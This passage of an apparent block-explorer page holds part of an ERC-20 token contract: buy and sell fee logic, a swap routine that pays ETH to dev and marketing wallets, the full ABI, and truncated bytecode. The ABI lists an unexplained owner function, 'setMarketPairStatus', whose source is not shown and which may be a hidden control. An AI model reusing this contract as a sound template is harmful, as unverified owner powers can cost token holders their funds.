                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] <= block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
 
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
 
       
        uint256 contractTokenBalance = balanceOf(address(this));
 
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
 
        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
 
            swapBack();
 
            swapping = false;
        }
 
         bool takeFee = !swapping;
 
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketing / sellTotalFees;
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketing / buyTotalFees;
            }
 
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
 
            amount -= fees;
        }
 
        super._transfer(from, to, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
 
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
 
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
 
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
 
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
 
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
 
        swapTokensForEth(amountToSwapForETH); 
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
 
 
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
 
        (success,) = address(DevWallet).call{value: ethForDev}("");
 
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
 
        (success,) = address(MarketingWallet).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"DevWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"account","type":"uint256"},{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMarketPairStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526001600b60006101000a81548160ff0219169083151502179055506000600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff0219169083151502179055506001600f60006101000a81548160ff0219169083151502179055503480156200007d57600080fd5b506040518060400160405280600b81526020017f246e2050726f746f636f6c0000000000000000000000000000000000000000008152506040518060400160405280600281526020017f6e500000000000000000000000000000000000000000000000000000000000008152508160039081620000fb919062000e34565b5080600490816200010d919062000e34565b5050506000620001226200067e60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001ed8160016200068660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000293919062000f85565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000321919062000f85565b6040518363ffffffff1660e01b81526004016200034092919062000fc8565b6020604051808303816000875af115801562000360573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000386919062000f85565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620003ce60a05160016200068660201b60201c565b620003e360a05160016200078360201b60201c565b6000806000806000806000620003fe6200082460201b60201c565b600a6200040c919062001185565b620493e06200041c9190620011d6565b90506200042e6200082460201b60201c565b600a6200043c919062001185565b6117706200044b9190620011d6565b600881905550620004616200082460201b60201c565b600a6200046f919062001185565b6117706200047e9190620011d6565b600a81905550612710600a82620004969190620011d6565b620004a2919062001250565b600981905550866011819055508560128190555084601381905550601354601254601154620004d2919062001288565b620004de919062001288565b6010819055508360158190555082601681905550816017819055506017546016546015546200050e919062001288565b6200051a919062001288565b60148190555073837ab953cf27326bf1bad959245900d85a2ebd84600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073837ab953cf27326bf1bad959245900d85a2ebd84600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005ec620005de6200082d60201b60201c565b60016200085760201b60201c565b620005ff3060016200085760201b60201c565b6200061461dead60016200085760201b60201c565b62000636620006286200082d60201b60201c565b60016200068660201b60201c565b620006493060016200068660201b60201c565b6200065e61dead60016200068660201b60201c565b620006703382620009a460201b60201c565b505050505050505062001492565b600033905090565b620006966200067e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000728576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200071f9062001324565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60006012905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620008676200067e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008f09062001324565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000998919062001363565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a0d90620013d0565b60405180910390fd5b62000a2a6000838362000b5260201b60201c565b62000a468160025462000b5760201b6200265a1790919060201c565b60028190555062000aa4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000b5760201b6200265a1790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b46919062001403565b60405180910390a35050565b505050565b600080828462000b68919062001288565b90508381101562000bb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ba79062001470565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c3c57607f821691505b60208210810362000c525762000c5162000bf4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000cbc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c7d565b62000cc8868362000c7d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d1562000d0f62000d098462000ce0565b62000cea565b62000ce0565b9050919050565b6000819050919050565b62000d318362000cf4565b62000d4962000d408262000d1c565b84845462000c8a565b825550505050565b600090565b62000d6062000d51565b62000d6d81848462000d26565b505050565b5b8181101562000d955762000d8960008262000d56565b60018101905062000d73565b5050565b601f82111562000de45762000dae8162000c58565b62000db98462000c6d565b8101602085101562000dc9578190505b62000de162000dd88562000c6d565b83018262000d72565b50505b505050565b600082821c905092915050565b600062000e096000198460080262000de9565b1980831691505092915050565b600062000e24838362000df6565b9150826002028217905092915050565b62000e3f8262000bba565b67ffffffffffffffff81111562000e5b5762000e5a62000bc5565b5b62000e67825462000c23565b62000e7482828562000d99565b600060209050601f83116001811462000eac576000841562000e97578287015190505b62000ea3858262000e16565b86555062000f13565b601f19841662000ebc8662000c58565b60005b8281101562000ee65784890151825560018201915060208501945060208101905062000ebf565b8683101562000f06578489015162000f02601f89168262000df6565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f4d8262000f20565b9050919050565b62000f5f8162000f40565b811462000f6b57600080fd5b50565b60008151905062000f7f8162000f54565b92915050565b60006020828403121562000f9e5762000f9d62000f1b565b5b600062000fae8482850162000f6e565b91505092915050565b62000fc28162000f40565b82525050565b600060408201905062000fdf600083018562000fb7565b62000fee602083018462000fb7565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562001083578086048111156200105b576200105a62000ff5565b5b60018516156200106b5780820291505b80810290506200107b8562001024565b94506200103b565b94509492505050565b6000826200109e576001905062001171565b81620010ae576000905062001171565b8160018114620010c75760028114620010d25762001108565b600191505062001171565b60ff841115620010e757620010e662000ff5565b5b8360020a91508482111562001101576200110062000ff5565b5b5062001171565b5060208310610133831016604e8410600b8410161715620011425782820a9050838111156200113c576200113b62000ff5565b5b62001171565b62001151848484600162001031565b925090508184048111156200116b576200116a62000ff5565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011928262000ce0565b91506200119f8362001178565b9250620011ce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200108c565b905092915050565b6000620011e38262000ce0565b9150620011f08362000ce0565b9250828202620012008162000ce0565b915082820484148315176200121a576200121962000ff5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200125d8262000ce0565b91506200126a8362000ce0565b9250826200127d576200127c62001221565b5b828204905092915050565b6000620012958262000ce0565b9150620012a28362000ce0565b9250828201905080821115620012bd57620012bc62000ff5565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200130c602083620012c3565b91506200131982620012d4565b602082019050919050565b600060208201905081810360008301526200133f81620012fd565b9050919050565b60008115159050919050565b6200135d8162001346565b82525050565b60006020820190506200137a600083018462001352565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620013b8601f83620012c3565b9150620013c58262001380565b602082019050919050565b60006020820190508181036000830152620013eb81620013a9565b9050919050565b620013fd8162000ce0565b82525050565b60006020820190506200141a6000830184620013f2565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001458601b83620012c3565b9150620014658262001420565b602082019050919050565b600060208201905081810360008301526200148b8162001449565b9050919050565b60805160a05161595c6200150560003960008181611187015281816115dd01528181611b0101528181612d210152818161366d01526136b3015260008181610d3701528181612cc9015281816137d3015281816138b4015281816138db015281816140a501526140cc015261595c6000f3fe6080604052600436106103035760003560e01c8063924de9b711610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610bbb578063f2fde38b14610be6578063f637434214610c0f578063f8b45b0514610c3a5761030a565b8063dd62ed3e14610b28578063e2f4560514610b65578063e884f26014610b905761030a565b8063c17b5b8c14610a18578063c18bc19514610a41578063c876d0b914610a6a578063c8c8ebe414610a95578063d257b34f14610ac0578063d85ba06314610afd5761030a565b8063a457c2d711610149578063aacebbe311610123578063aacebbe31461095e578063b62496f514610987578063bbc0c742146109c4578063c0246668146109ef5761030a565b8063a457c2d7146108b9578063a8b9f94d146108f6578063a9059cbb146109215761030a565b8063924de9b7146107bb57806395d89b41146107e45780639a7a23d61461080f5780639c3b4fdc146108385780639fccce3214610863578063a0d82dc51461088e5761030a565b80634a62bb651161024f578063715018a611610208578063791051ca116101e2578063791051ca146107135780638095d564146107505780638a8c523c146107795780638da5cb5b146107905761030a565b8063715018a6146106a8578063751039fc146106bf5780637571336a146106ea5761030a565b80634a62bb65146105825780634fbee193146105ad5780636a486a8e146105ea5780636b41ae0c146106155780636ddd17131461064057806370a082311461066b5761030a565b80631a8145bb116102bc57806323b872dd1161029657806323b872dd146104b2578063313ce567146104ef578063395093511461051a57806349bd5a5e146105575761030a565b80631a8145bb146104335780631f3fed8f1461045e578063203e727e146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806310d5de53146103775780631694505e146103b457806318160ddd146103df5780631816467f1461040a5761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c65565b604051610331919061426c565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190614327565b610cf7565b60405161036e9190614382565b60405180910390f35b34801561038357600080fd5b5061039e6004803603810190610399919061439d565b610d15565b6040516103ab9190614382565b60405180910390f35b3480156103c057600080fd5b506103c9610d35565b6040516103d69190614429565b60405180910390f35b3480156103eb57600080fd5b506103f4610d59565b6040516104019190614453565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c919061439d565b610d63565b005b34801561043f57600080fd5b50610448610eba565b6040516104559190614453565b60405180910390f35b34801561046a57600080fd5b50610473610ec0565b6040516104809190614453565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab919061446e565b610ec6565b005b3480156104be57600080fd5b506104d960048036038101906104d4919061449b565b610ff0565b6040516104e69190614382565b60405180910390f35b3480156104fb57600080fd5b506105046110c9565b604051610511919061450a565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190614327565b6110d2565b60405161054e9190614382565b60405180910390f35b34801561056357600080fd5b5061056c611185565b6040516105799190614534565b60405180910390f35b34801561058e57600080fd5b506105976111a9565b6040516105a49190614382565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf919061439d565b6111bc565b6040516105e19190614382565b60405180910390f35b3480156105f657600080fd5b506105ff611212565b60405161060c9190614453565b60405180910390f35b34801561062157600080fd5b5061062a611218565b6040516106379190614453565b60405180910390f35b34801561064c57600080fd5b5061065561121e565b6040516106629190614382565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d919061439d565b611231565b60405161069f9190614453565b60405180910390f35b3480156106b457600080fd5b506106bd611279565b005b3480156106cb57600080fd5b506106d46113d1565b6040516106e19190614382565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c919061457b565b61148c565b005b34801561071f57600080fd5b5061073a600480360381019061073591906145bb565b61157e565b6040516107479190614382565b60405180910390f35b34801561075c57600080fd5b50610777600480360381019061077291906145fb565b611708565b005b34801561078557600080fd5b5061078e611822565b005b34801561079c57600080fd5b506107a56118f8565b6040516107b29190614534565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd919061464e565b611922565b005b3480156107f057600080fd5b506107f96119d6565b604051610806919061426c565b60405180910390f35b34801561081b57600080fd5b506108366004803603810190610831919061457b565b611a68565b005b34801561084457600080fd5b5061084d611b9b565b60405161085a9190614453565b60405180910390f35b34801561086f57600080fd5b50610878611ba1565b6040516108859190614453565b60405180910390f35b34801561089a57600080fd5b506108a3611ba7565b6040516108b09190614453565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db9190614327565b611bad565b6040516108ed9190614382565b60405180910390f35b34801561090257600080fd5b5061090b611c7a565b6040516109189190614453565b60405180910390f35b34801561092d57600080fd5b5061094860048036038101906109439190614327565b611c80565b6040516109559190614382565b60405180910390f35b34801561096a57600080fd5b506109856004803603810190610980919061439d565b611c9e565b005b34801561099357600080fd5b506109ae60048036038101906109a9919061439d565b611df5565b6040516109bb9190614382565b60405180910390f35b3480156109d057600080fd5b506109d9611e15565b6040516109e69190614382565b60405180910390f35b3480156109fb57600080fd5b50610a166004803603810190610a11919061457b565b611e28565b005b348015610a2457600080fd5b50610a3f6004803603810190610a3a91906145fb565b611f68565b005b348015610a4d57600080fd5b50610a686004803603810190610a63919061446e565b612081565b005b348015610a7657600080fd5b50610a7f6121ab565b604051610a8c9190614382565b60405180910390f35b348015610aa157600080fd5b50610aaa6121be565b604051610ab79190614453565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae2919061446e565b6121c4565b604051610af49190614382565b60405180910390f35b348015610b0957600080fd5b50610b12612334565b604051610b1f9190614453565b60405180910390f35b348015610b3457600080fd5b50610b4f6004803603810190610b4a919061467b565b61233a565b604051610b5c9190614453565b60405180910390f35b348015610b7157600080fd5b50610b7a612